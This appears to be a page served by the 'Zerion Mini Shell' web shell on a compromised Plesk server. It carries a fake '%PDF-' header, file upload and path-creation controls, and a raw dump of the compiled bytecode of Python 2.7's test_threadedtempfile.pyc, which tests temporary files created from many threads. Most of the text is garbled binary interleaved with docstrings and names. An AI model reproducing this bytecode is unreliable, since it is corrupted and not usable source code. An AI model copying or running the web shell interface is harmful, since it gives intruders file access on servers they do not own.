%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/test/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pyc

�
5}�ac@s�dZdZdZddlZddlmZmZmZed�Zddl	Z	ddl
Z
ddlmZej
�Zdejfd	��YZd
e	jfd��YZd�Zed
kr�e�ndS(sn
Create and delete FILES_PER_THREAD temp files (via tempfile.TemporaryFile)
in each of NUM_THREADS threads, recording the number of successes and
failures.  A failure is a bug in tempfile, and may be due to:

+ Trying to create more than one tempfile with the same name.
+ Trying to delete a tempfile that doesn't still exist.
+ Something we've never seen before.

By default, NUM_THREADS == 20 and FILES_PER_THREAD == 50.  This is enough to
create about 150 failures per run under Win98SE in 2.0, and runs pretty
quickly. Guido reports needing to boost FILES_PER_THREAD to 500 before
provoking a 2.0 failure under Linux.
ii2i����N(t
start_threadstrun_unittestt
import_modulet	threading(t	print_exctTempFileGreedycBseZdZdZd�ZRS(icCs�tj�|_tj�xitt�D][}ytjd�}|j�Wn&|j	d7_	t
d|j�q&X|jd7_q&WdS(Nsw+bitfile(tStringIOterrorst
startEventtwaittrangetFILES_PER_THREADttempfilet
TemporaryFiletcloseterror_countRtok_count(tselftitf((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pytrun!s
(t__name__t
__module__RRR(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pyRstThreadedTempFileTestcBseZd�ZRS(cCs�gtt�D]}t�^q
}t|tj��WdQXtd�|D��}g|D]4}|jrXt|j	��t|j
j��^qX}dt|�|dj
|�f}|j|g|�|j|tt�dS(Ncss|]}|jVqdS(N(R(t.0tt((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pys	<genexpr>4ssErrors: errors %d ok %d
%ss
(RtNUM_THREADSRRR	tsettsumRtstrtgetNameRtgetvaluetlentjointassertEqualR(RRtthreadstokRRtmsg((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pyt	test_main0s">(RRR'(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pyR/scCstt�dS(N(RR(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pyR'=st__main__(t__doc__RRR
ttest.test_supportRRRRtunittestRt	tracebackRtEventR	tThreadRtTestCaseRR'R(((sC/opt/plesk/python/2.7/lib64/python2.7/test/test_threadedtempfile.pyt<module>s	

Zerion Mini Shell 1.0